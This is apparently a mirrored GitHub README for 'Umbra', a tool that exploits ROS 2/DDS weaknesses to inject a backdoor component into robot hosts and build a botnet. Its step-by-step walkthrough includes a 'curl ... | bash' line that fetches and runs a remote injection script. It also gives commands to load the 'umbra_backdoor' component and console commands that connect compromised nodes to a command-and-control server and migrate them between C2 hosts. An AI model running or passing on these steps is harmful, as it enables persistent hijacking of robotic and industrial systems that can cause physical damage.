Thanks to visit codestin.com
Credit goes to github.com

Skip to content

ROS 2 protocol vulnerability: remote malicious component injection tool

Notifications You must be signed in to change notification settings

MartinxMax/Umbra

Repository files navigation

Umbra

ROS 2 protocol vulnerability: remote malicious component injection tool

Outlines security flaws such as cross‑subnet communication limits and container‑component privilege control defects. The core objective of the reported work is: by exploiting these vulnerabilities, construct a DDS botnet capable of remotely controlling multiple ROS 2 nodes, achieving persistent control and privilege escalation on target ROS 2 hosts.

Details:Umbra_Report_XX.pdf

Umbra Poisoner

No dependency on the ROS 2 environment conditions.

If you and the targets are on the same LAN, you can deploy it on your own host.

$ ./umbra_poisoner

alt text

Umbra Console

The poisoner must use the --c2 <IP>:<PORT> argument to connect to the controller.

$ ./umbra_console

alt text

Umbra Logger

Records the number of ROS nodes deployed in the target LAN.

$ ./umbra_loger

alt text

Local injection of Umbra component: C2 session migration

  1. Initialize the malicious component into a normal ROS 2 system.

PS: in the exploit directory there is injection_xxxxx.sh

(Ubuntu-192.168.0.113)$ curl http://server/injection_xxxxx.sh | bash

alt text

(Ubuntu-192.168.0.113)$ ros2 component list

alt text

  1. Locally register the malicious component (can be remote provided both Ubuntus have ROS 2 installed)
(Ubuntu-192.168.0.113)$ source /dev/shm/umbra_backdoor_install/setup.bash; \
ros2 component load /UMBRA_192_168_0_113 umbra_backdoor umbra --node-name injection

alt text

  1. Launch the umbra_console controller
(Arch-192.168.0.112)$ ./umbra_console

alt text

  1. Launch the umbra_loger logger
(Arch-192.168.0.112)$ ./umbra_loger

alt text

  1. Launch the umbra_poisoner poisoner
(Arch-192.168.0.112)$ ./umbra_poisoner --c2 192.168.0.112:7010

alt text

  1. In the controller, enter the session, configure the node settings and connect to the C2
Umbra# use 959145908c4f64af8292392d692b5669
Umbra[959145908c4f64af8292392d692b5669]# show
Umbra[959145908c4f64af8292392d692b5669]# set HC2F 192.168.0.112:7010
Umbra[959145908c4f64af8292392d692b5669]# set HC2S 192.168.0.112:443
Umbra[959145908c4f64af8292392d692b5669]# run

alt text

  1. Update commands to migrate the node to another C2 host
Umbra[959145908c4f64af8292392d692b5669]# set HC2S xxxxx:xxxxx
Umbra[959145908c4f64af8292392d692b5669]# run

alt text

About

ROS 2 protocol vulnerability: remote malicious component injection tool

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors